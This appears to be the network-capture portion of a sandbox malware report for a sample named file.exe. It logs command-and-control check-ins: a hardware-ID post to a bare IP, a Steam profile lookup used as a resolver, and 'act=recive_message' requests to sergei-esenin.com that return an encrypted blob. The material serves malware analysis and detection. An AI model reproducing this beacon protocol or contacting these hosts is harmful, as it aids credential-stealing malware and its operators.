Oct 24, 2024 04:03:29.660954952 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 2d 2d 0d 0a Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="build"doma------JDHIEBFHCAKEHIDGHCBA--
Oct 24, 2024 04:03:29.949342966 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49746	104.102.49.254	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:28 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:01:29 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:01:29 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=dfd7bcd0d41a3f31ce43c21c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:01:29 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:01:29 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:01:29 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:01:29 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49757	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:30 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:01:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:01:30 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:01:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3eIXbYTzSaB2uXFN0BtywBrDeWnsIGEy2pY%2BobjLpaP797zsVktQ8pAs77PN0wCFMh6olsJ9MNmSMFN%2FeCy9ow%2Bjh03zh6wd2LXRyVk4%2BkS8B8rA0r5IR%2B2eYf7m1UBcrVoIlg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76611cb9896b58-DFW
2024-10-24 02:01:30 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:01:30 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-24 02:01:30 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 02:01:30 UTC	901	IN	Data Raw: 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-24 02:01:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49763	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:31 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 02:01:31 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:01:31 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eanvhu87013pljr73se4r34q16; expires=Sun, 16 Feb 2025 19:48:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jh9zsdc82BjJ3r1qg60aN4QxdvrljKodfZCyGUGDcBowOolPUXtKJ8%2FQU4waq4uVnlCbJmn8sKx3izY1LR%2FLt3vvVXE%2F3t3GEa5IZjoBk6KBP8HNzOZ1yY%2FbL%2BkpHR0qnyKhag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7661225fdc2ca9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=1639864&cwnd=251&unsent_bytes=0&cid=9bd79184f709e574&ts=522&x=0"
2024-10-24 02:01:31 UTC	349	IN	Data Raw: 31 64 38 64 0d 0a 58 79 44 76 36 48 2b 78 66 62 41 52 6f 38 33 31 4d 65 74 62 39 34 30 30 49 46 31 50 4d 61 37 57 53 65 5a 74 70 57 43 74 4a 72 67 6b 41 70 6e 4b 52 59 56 52 6b 6d 4c 47 37 38 39 46 6d 53 36 53 6f 52 5a 42 4f 57 30 4c 79 4c 63 6c 6c 51 69 4a 51 74 74 4c 6d 6d 56 47 6a 6f 51 4d 31 46 47 53 64 4e 76 76 7a 32 71 51 65 5a 4c 6a 46 68 70 2f 4b 6c 76 4d 74 79 57 45 44 4d 34 50 33 55 72 62 4e 30 79 49 67 42 72 53 47 64 46 39 7a 71 69 51 56 49 6f 78 6d 65 52 5a 53 44 42 74 48 59 79 7a 4d 38 52 58 68 79 33 49 55 74 6b 53 51 5a 79 44 58 63 78 52 79 7a 50 47 6f 39 63 4c 79 54 71 53 37 31 68 47 4f 53 52 5a 78 72 34 74 68 51 6e 50 45 4d 52 41 30 44 64 43 69 34 45 51 32 77 33 63 64 38 6d 6a 6c 6c 36 4b 65 64 75 76 55 56 70 2f 64 52 4f 66 68 69 69 56 48 Data Ascii: 1d8dXyDv6H+xfbARo831Metb9400IF1PMa7WSeZtpWCtJrgkApnKRYVRkmLG789FmS6SoRZBOW0LyLcllQiJQttLmmVGjoQM1FGSdNvvz2qQeZLjFhp/KlvMtyWEDM4P3UrbN0yIgBrSGdF9zqiQVIoxmeRZSDBtHYyzM8RXhy3IUtkSQZyDXcxRyzPGo9cLyTqS71hGOSRZxr4thQnPEMRA0DdCi4EQ2w3cd8mjll6KeduvUVp/dROfhiiVH
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 43 69 34 51 63 33 68 2f 41 65 38 71 6b 6b 6b 47 43 4d 4a 6a 69 56 6b 38 31 49 6c 44 4d 73 79 47 4f 41 4d 30 47 77 6b 6e 63 50 55 4c 4e 78 46 33 55 42 35 49 72 67 59 79 53 51 34 34 31 67 36 31 73 41 69 42 6a 53 6f 79 7a 4a 38 52 58 68 77 72 4b 52 39 6b 32 54 59 36 43 46 73 45 66 77 48 58 4d 71 6f 56 56 6a 44 65 66 37 45 52 49 4d 53 74 51 78 62 38 69 67 51 6a 44 51 6f 45 45 33 53 55 43 31 63 6f 38 33 68 54 65 65 64 61 76 31 30 7a 48 49 4e 58 6f 57 67 4a 6e 62 56 66 4e 73 43 71 41 41 63 6b 47 77 30 4c 55 4d 45 32 4c 67 42 33 55 46 64 70 37 77 4b 4b 63 58 49 6b 38 6d 4f 74 51 54 6a 34 6f 45 34 4c 30 4c 4a 78 50 6e 30 4c 68 51 39 6b 76 41 4c 69 4a 45 39 30 59 78 44 50 65 34 59 34 54 6a 6a 58 56 74 78 5a 4d 4f 69 4a 42 7a 61 59 75 69 68 33 4c 42 38 6c 4a 32 54 Data Ascii: Ci4Qc3h/Ae8qkkkGCMJjiVk81IlDMsyGOAM0GwkncPULNxF3UB5IrgYySQ441g61sAiBjSoyzJ8RXhwrKR9k2TY6CFsEfwHXMqoVVjDef7ERIMStQxb8igQjDQoEE3SUC1co83hTeedav10zHINXoWgJnbVfNsCqAAckGw0LUME2LgB3UFdp7wKKcXIk8mOtQTj4oE4L0LJxPn0LhQ9kvALiJE90YxDPe4Y4TjjXVtxZMOiJBzaYuih3LB8lJ2T
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 45 39 30 59 78 44 50 65 34 59 34 54 6a 6a 58 56 74 78 5a 4f 4e 69 31 59 78 72 41 72 67 77 4c 43 41 63 68 48 31 7a 70 49 67 34 30 5a 33 78 62 66 64 63 47 6f 6b 31 61 62 50 4a 7a 6a 57 67 4a 78 62 56 54 55 39 48 50 45 49 4d 41 55 7a 47 76 5a 4c 45 76 4e 6c 56 50 4b 58 39 56 2f 67 66 66 58 56 49 77 78 6e 75 6c 65 51 69 30 6f 58 63 65 31 49 59 49 4f 79 67 37 4a 52 4e 73 39 52 49 47 4b 47 74 51 4e 77 48 62 48 76 5a 30 54 78 33 6d 53 39 78 59 61 66 78 74 44 32 36 55 39 78 6a 72 45 44 4d 46 44 7a 48 31 64 77 35 4e 64 31 42 4f 53 4b 34 47 6b 6c 31 2b 4f 4d 5a 50 72 58 6b 30 77 4a 45 48 4e 75 43 57 57 43 4d 63 4c 77 55 76 57 4e 45 2b 4b 68 78 62 5a 45 74 5a 30 77 4f 2f 5a 45 34 34 68 31 62 63 57 64 43 38 67 58 2b 4b 2f 4a 34 31 50 32 45 7a 57 42 4e 30 78 41 74 58 Data Ascii: E90YxDPe4Y4TjjXVtxZONi1YxrArgwLCAchH1zpIg40Z3xbfdcGok1abPJzjWgJxbVTU9HPEIMAUzGvZLEvNlVPKX9V/gffXVIwxnuleQi0oXce1IYIOyg7JRNs9RIGKGtQNwHbHvZ0Tx3mS9xYafxtD26U9xjrEDMFDzH1dw5Nd1BOSK4Gkl1+OMZPrXk0wJEHNuCWWCMcLwUvWNE+KhxbZEtZ0wO/ZE44h1bcWdC8gX+K/J41P2EzWBN0xAtX
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 64 31 79 78 61 71 53 56 34 34 39 6b 2b 41 57 44 48 38 71 53 34 7a 73 61 36 73 6f 38 6b 44 75 66 70 6f 69 44 4a 54 4b 47 74 39 66 69 6a 50 4e 72 4a 74 62 68 6a 2b 63 34 31 78 4c 4e 43 46 59 79 4c 67 69 67 51 6e 47 42 38 70 46 33 6a 46 49 69 34 6b 65 33 42 44 64 65 34 48 68 31 31 53 52 65 63 32 76 63 31 55 30 49 31 57 4d 71 32 57 64 54 38 41 4f 6a 78 79 61 4d 55 75 4c 6a 42 6a 66 48 74 52 37 78 4b 65 54 55 6f 38 2f 6c 75 42 53 52 7a 34 69 56 38 43 36 49 59 55 4f 79 77 6e 41 54 39 39 39 44 4d 32 4e 42 5a 4e 48 6b 6b 4c 43 75 59 42 44 68 58 6d 4b 6f 55 38 43 4f 43 45 54 6c 50 51 71 6c 67 58 4e 44 4d 70 4c 33 7a 35 4e 69 6f 63 62 33 78 58 62 65 38 65 67 6e 6b 47 4b 4e 5a 76 6f 57 45 34 78 49 46 6e 50 75 57 76 4b 54 38 41 61 6a 78 79 61 45 55 57 41 70 42 62 66 Data Ascii: d1yxaqSV449k+AWDH8qS4zsa6so8kDufpoiDJTKGt9fijPNrJtbhj+c41xLNCFYyLgigQnGB8pF3jFIi4ke3BDde4Hh11SRec2vc1U0I1WMq2WdT8AOjxyaMUuLjBjfHtR7xKeTUo8/luBSRz4iV8C6IYUOywnAT999DM2NBZNHkkLCuYBDhXmKoU8COCETlPQqlgXNDMpL3z5Niocb3xXbe8egnkGKNZvoWE4xIFnPuWvKT8AajxyaEUWApBbf
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 4f 39 31 78 33 4a 50 6f 32 76 44 67 49 4a 4b 6b 50 63 74 32 6d 31 47 63 51 55 78 45 6e 57 66 56 33 44 6b 31 33 55 45 35 49 72 67 61 6d 59 57 6f 6f 32 6c 4f 5a 61 54 7a 6f 6b 56 73 32 79 4c 34 34 46 78 77 54 4a 52 64 38 33 51 59 79 41 46 4e 51 58 31 58 44 54 37 39 6b 54 6a 69 48 56 74 78 5a 72 4f 44 39 64 33 50 51 30 79 68 61 48 42 63 4d 45 67 6e 31 47 68 34 55 5a 31 42 50 55 64 73 65 69 6c 6c 79 49 4f 5a 72 72 58 55 73 35 4c 46 37 4a 75 53 2b 57 42 63 77 4e 77 30 33 57 4d 41 4c 44 79 68 72 4c 58 34 6f 7a 38 4b 4b 5a 58 59 34 76 31 66 41 59 57 33 38 71 58 34 7a 73 61 34 55 44 79 41 48 41 52 39 6b 38 53 4a 2b 59 45 64 6f 58 31 33 2f 4b 6f 5a 46 42 6a 7a 61 63 37 46 56 4c 4f 43 56 66 78 72 63 73 78 45 47 48 42 64 63 45 67 6e 31 68 6d 70 6f 51 6b 77 43 63 61 Data Ascii: O91x3JPo2vDgIJKkPct2m1GcQUxEnWfV3Dk13UE5IrgamYWoo2lOZaTzokVs2yL44FxwTJRd83QYyAFNQX1XDT79kTjiHVtxZrOD9d3PQ0yhaHBcMEgn1Gh4UZ1BPUdseillyIOZrrXUs5LF7JuS+WBcwNw03WMALDyhrLX4oz8KKZXY4v1fAYW38qX4zsa4UDyAHAR9k8SJ+YEdoX13/KoZFBjzac7FVLOCVfxrcsxEGHBdcEgn1hmpoQkwCca
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 56 6a 6a 2b 62 2f 56 4e 45 4d 43 4a 61 78 62 41 6a 68 77 2f 44 42 73 68 42 32 54 46 4a 69 6f 6b 53 31 78 62 63 65 73 37 76 32 52 4f 4f 49 64 57 33 46 6d 4d 6b 4c 6c 2f 42 39 44 54 4b 46 6f 63 46 77 77 53 43 66 55 36 44 6a 78 33 5a 47 64 5a 32 78 36 57 53 55 34 49 36 6d 75 74 51 52 6a 41 74 57 4d 57 31 4c 59 45 46 7a 41 54 43 52 39 77 37 41 73 50 4b 47 73 74 66 69 6a 50 68 74 4a 70 66 6a 6e 6d 4b 6f 55 38 43 4f 43 45 54 6c 50 51 67 69 41 76 41 41 73 4a 48 30 6a 68 47 68 34 38 64 32 77 33 61 63 38 61 39 68 56 4f 41 50 4a 6e 73 56 6b 59 35 4a 46 58 50 73 47 76 4b 54 38 41 61 6a 78 79 61 45 45 36 4b 6f 78 72 49 58 38 30 39 32 4f 2b 51 58 38 6c 68 31 65 35 64 53 44 41 67 55 4d 71 33 49 49 45 46 78 67 58 48 53 63 67 2b 54 59 4b 4f 48 64 77 5a 31 48 4c 4f 71 5a Data Ascii: Vjj+b/VNEMCJaxbAjhw/DBshB2TFJiokS1xbces7v2ROOIdW3FmMkLl/B9DTKFocFwwSCfU6Djx3ZGdZ2x6WSU4I6mutQRjAtWMW1LYEFzATCR9w7AsPKGstfijPhtJpfjnmKoU8COCETlPQgiAvAAsJH0jhGh48d2w3ac8a9hVOAPJnsVkY5JFXPsGvKT8AajxyaEE6KoxrIX8092O+QX8lh1e5dSDAgUMq3IIEFxgXHScg+TYKOHdwZ1HLOqZ
